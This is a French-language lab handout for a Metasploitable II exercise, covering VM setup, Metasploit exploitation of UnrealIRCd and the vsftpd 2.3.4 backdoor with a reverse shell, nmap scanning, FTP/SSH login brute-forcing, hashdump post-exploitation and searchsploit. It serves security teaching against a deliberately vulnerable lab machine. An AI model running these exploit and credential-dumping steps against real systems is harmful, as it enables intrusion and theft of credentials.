Académique Documents
Professionnel Documents
Culture Documents
Lab2 - Metasploitable II
Objectifs
Partie A
Se familiariser avec les commandes Metasploit en utilisant l’exploit “unreaIRCD“
Partie B
Simuler les 3 phases d’attaque :
1. Scan
2. Exploit
3. Post-exploit
En utilisant l’exploit vs_ftpd_backdoor
Partie C
Utilisation de Searchsploit pour automatiser la recherche et la mise à jour de la base de données MSF
Pré-requis
========================================================================
1
● Importation de la machine Kali-msf
Accepter la licence
2
Si vous avez cette boîte de dialogue, les spécifications de la MV ne sont pas acceptées par VMWare.
Mémoire : 8 Go
Espace disque : 60 Go
Deux Cartes réseaux: Une en ‘NAT’ et une deuxième en VMnet0
Login: kali
Mot de passe: kali
Démarrer un terminal
3
Changer le clavier en Azerty
$setxkbmap fr
Enregistrer et quitter.
4
Sélectionner le fichier Metasploitable-linux.vmx
Mémoire : 4 Go
Espace disque : 15 Go
Une Carte réseau : en VMnet0
Remarque importante:
5
Vérifier que la case “Use local DHCP …” est cochée
Login: msfadmin
Mot de passe: msfadmin
Démarrer un terminal
Changer le clavier
$sudo loadkeys fr
6
Enregistrer et quitter.
Récupérer l’adresse IP
$ip a
Login: kali
Mot de passe: kali
Démarrer un terminal
7
Vérifier que vous pouvez envoyer des requêtes “ping” à “Metasploitable”
$ping 192.168.124.128
Lancer msfconsole:
$sudo msfconsole
8
Partie A
Effectuer une recherche d’exploit: unrealIRCD
9
Et les options requises :
Pour utiliser ce module, il suffit juste d’exécuter l’ordre ci-dessous (en supprimant la partie de
référence exploit/):
10
Configurer l’adresse IP de la machine vulnérable <RHOST>:
msf6 > set RHOST 192.168.124.128
Pour info
La réussite des exploits dépend des charges actives ou payloads, ajoutées régulièrement à Metasploit
de la même façon que les modules.
Ces charges déterminent sur quel(s) type(s) de matériel(s) et d’éléments on cible l’attaque.
Pour lister les charges actives disponibles, il suffit d’exécuter la commande suivante :
11
Parmi la liste des charges actives compatibles listées précédemment, on peut voir une plage d’options
utilisant des Shells.
Les payloads sont divisés en deux catégories :
● Connecté (bind)
● Inversé (reverse)
REMARQUE: l’outil Meterpreter est principalement disponible pour les cibles Microsoft Windows.
Mais, il existe aussi des charges actives permettant d’obtenir une session Meterpreter sous Linux.
Shell connecté
Précise à la machine d’ouvrir un shell de commande et d’écouter sur le port local. L’attaquant se
connecte sur la machine ciblée sur le port d’écoute. Ceci dit, à cause des pare-feu, l’efficacité des
shells connectés a échoué car n’importe quel pare-feu correctement configuré bloque les ports
aléatoires tels que 4444.
Shell inversé
Pousse activement une connexion inversée à destination de l’attaquant plutôt que d’attendre une
connexion entrante. Dans ce cas de figure, sur notre machine d’attaque on ouvre un port local en
écoute d’une connexion de la cible, permettant ainsi de se faufiler plus facilement au travers des
pare-feu.
ATTENTION: comme dans l’exemple ci-dessus, il s’agit d’un shell inversé, on doit alors préciser la
cible où envoyer le shell. Il faut donc mentionner :
12
msf6 > set LHOST 192.168.124.129
Dès lors que le cadre de l’exploit est fixé, on peut alors demander à Metasploit de l’exécuter via
l’instruction ci-dessous :
Cette dernière commande liste alors les différentes étapes par lesquelles on passe avant d’en arriver à
l’exécution de l’exploit. Cela se termine par une session Meterpreter. Ce dernier est le moyen de
prendre la main et de passer des commandes à distance, à la machine cible afin d’exécuter l’ensemble
des étapes permettant de réaliser notre exploit.
Résultats :
● on tape la commande ls
13
● Les commandes uname, whois, whoami
● La commande ip a
Question
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
ls -l
download spamfilter.conf /home/kali/file.txt
Résultats attendus
14
Sur la machine Kali :
Partie B
Dans cette partie, nous allons utiliser une base de données pour stocker les résultats de scan de
vulnérabilités. Pour cela, on doit initialiser la base de données:
15
#Changer d’utilisateur (pas de mot de passe requis)
$sudo su - postgres
16
#Quitter la session de l’utilisateur postgres
exit
#Lancer Metasploit
$sudo msfconsole
2. Phase de scan
17
#Lister les commandes disponibles
msf6 > workspace -h
#Lancer le scan des ports 1-65535 de la machine victime (prendra plusieurs minutes)
msf6 > db_nmap -p 1-65535 -sV 192.168.124.128
Pour info
Vous pouvez suivre l’évolution du scan (en %)
Résultat:
18
#Consulter les commandes relatives à la table hosts
msf6 > hosts -h
Pour info
Vous pouvez voir, ci-dessus, les services vulnérables IRC et FTP et leurs versions.
19
msf6 > use auxiliary/scanner/ftp/ftp_login
#Ajouter un fichier de mots de passe pour réaliser le scan par brute force
set USERPASS_FILE /usr/share/wordlists/metasploit/piata_ssh_userpass.txt
show options
20
#Afficher les privilèges obtenus
msf6 > creds
#Chercher les scanners correspondants au service ssh pour accès par brute force
msf6 > grep ssh search login
#Exécuter le scan
msf6 auxiliary(scanner/ssh/ssh_login) > run
#Résultat attendu : 3 sessions ouvertes
21
#Lister les sessions inactives
msf6 > sessions -d
Pour info
Pour sortir d’une session, il faut la stopper et la mettre en background :
Ctrl Z
ou
background
Pour la quitter :
Ctrl C ou exit
3. Phase d’exploitation
22
#Utiliser l’exploit correspondant
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
#Exécuter l’exploit
msf6 auxiliary(unix/ftp/vsftpd_234_backdoor) > run
23
#Lister les privilèges obtenus
msf6 > creds
#Associer un ID à la session
msf6 post(linux/gather/enum_configs) > set SESSION 1
#exécuter le post-exploit
msf6 post(linux/gather/enum_configs) > run
24
msf6 post(linux/gather/enum_configs) > back
#Lister les informations de configurations récupérées
msf6 > loot
# Associer un ID à la session
msf6 post(linux/gather/hashdump) > set session 1
#Exécuter le post-exploit
msf6 post(linux/gather/hashdump) > run
25
#Afficher les sessions en cours
msf6 post(linux/gather/hashdump) > sessions
#Lancer la session 1
msf6 post(linux/gather/hashdump) > sessions -i 1
#passer en sudo
sudo su
#nom d’utilisateur en cours
whoami
Ctrl Z
26
msf6 > exit -y
Partie C
● Préparation intrusive
27
#Chercher les vulnérabilités relatives au résultat de scan
$searchsploit --nmap metasploitable.xml -v
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
● Quelles différences relevez-vous avec la commande précédente ?
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
===============================
FIN DE L’ATELIER
28